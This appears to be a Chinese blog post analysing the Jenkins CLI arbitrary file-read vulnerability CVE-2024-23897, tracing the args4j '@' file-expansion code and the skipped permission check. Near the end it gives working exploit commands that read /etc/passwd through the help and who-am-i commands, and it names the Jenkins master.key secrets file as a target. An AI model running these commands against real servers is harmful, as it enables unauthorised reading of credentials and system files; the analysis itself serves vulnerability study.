浅析Jenkis任意文件读取(CVE-2024-23897)
很久没更新博客了,还是浅浅更新一下
补丁分析
首先从官方公告可以看到漏洞其实来源于CLI工具,同时可以看到用户拥有(Overall/Read)权限可以读取整个文件,而如果没有权限则仅能读取第一行
同时从commit可以看出[SECURITY-3314] · jenkinsci/jenkins@554f037 ,主要对CLICommand.java
做了修改,禁止使用@
符号,那么接下来我们便看看解析的时候是如何处理@
符号
在org.kohsuke.args4j.CmdLineParser#parseArgument
中,调用了expandAtFiles
方法,从名字就能看出是处理@
符号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| public void parseArgument(String... args) throws CmdLineException { Utilities.checkNonNull(args, "args"); String[] expandedArgs = args; if (this.parserProperties.getAtSyntax()) { expandedArgs = this.expandAtFiles(args); }
CmdLineImpl cmdLine = new CmdLineImpl(expandedArgs); Set<OptionHandler> present = new HashSet(); int argIndex = 0;
while(cmdLine.hasMore()) { String arg = cmdLine.getCurrentToken(); if (!this.isOption(arg)) { if (argIndex >= this.arguments.size()) { Messages msg = this.arguments.size() == 0 ? Messages.NO_ARGUMENT_ALLOWED : Messages.TOO_MANY_ARGUMENTS; throw new CmdLineException(this, msg, new String[]{arg}); }
this.currentOptionHandler = (OptionHandler)this.arguments.get(argIndex); if (this.currentOptionHandler == null) { throw new IllegalStateException("@Argument with index=" + argIndex + " is undefined"); }
if (!this.currentOptionHandler.option.isMultiValued()) { ++argIndex; } } else { boolean isKeyValuePair = arg.contains(this.parserProperties.getOptionValueDelimiter()) || arg.indexOf(61) != -1; this.currentOptionHandler = isKeyValuePair ? this.findOptionHandler(arg) : this.findOptionByName(arg); if (this.currentOptionHandler == null) { throw new CmdLineException(this, Messages.UNDEFINED_OPTION, new String[]{arg}); }
if (isKeyValuePair) { cmdLine.splitToken(); } else { cmdLine.proceed(1); } }
int diff = this.currentOptionHandler.parseArguments(cmdLine); cmdLine.proceed(diff); present.add(this.currentOptionHandler); }
boolean helpSet = false; Iterator i$ = this.options.iterator();
while(i$.hasNext()) { OptionHandler handler = (OptionHandler)i$.next(); if (handler.option.help() && present.contains(handler)) { helpSet = true; } }
if (!helpSet) { this.checkRequiredOptionsAndArguments(present); }
}
|
在expandAtFiles
中如果参数以@
开头就会读取@
后对应的文件,并将内容添加到数组result
返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| private String[] expandAtFiles(String[] args) throws CmdLineException { List<String> result = new ArrayList(); String[] arr$ = args; int len$ = args.length;
for(int i$ = 0; i$ < len$; ++i$) { String arg = arr$[i$]; if (arg.startsWith("@")) { File file = new File(arg.substring(1)); if (!file.exists()) { throw new CmdLineException(this, Messages.NO_SUCH_FILE, new String[]{file.getPath()}); }
try { result.addAll(readAllLines(file)); } catch (IOException var9) { throw new CmdLineException(this, "Failed to parse " + file, var9); } } else { result.add(arg); } }
return (String[])result.toArray(new String[result.size()]); }
|
继续回到CLICommand
,可以看到在解析前有鉴权处理,但如果命令是HelpCommand\WhoAmICommand
的实例那么就不需要权限
1 2 3 4 5 6 7 8 9
| sc = SecurityContextHolder.getContext(); old = sc.getAuthentication(); Authentication auth; sc.setAuthentication(auth = this.getTransportAuthentication2()); if (!(this instanceof HelpCommand) && !(this instanceof WhoAmICommand)) { Jenkins.get().checkPermission(Jenkins.READ); }
p.parseArgument((String[])args.toArray(new String[0]));
|
因此执行
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ help @/etc/passwd
或
java -jar jenkins-cli.jar -s http://127.0.0.1:8080/ who-am-i @/etc/passwd
当然其实其他指令也是可以的,有了文件读取我们其实能做的就很多了,最常见的读取/var/jenkins_home/secrets/ master.key
,当然可能在其他目录下,这时候我们可以读取/proc/self/cmdline
读取启动
当然后利用不是这篇文章的主题,有空网上多百度看看文章即可
参考链接
https://www.openwall.com/lists/oss-security/2024/01/24/6
https://www.openwall.com/lists/oss-security/2024/01/24/6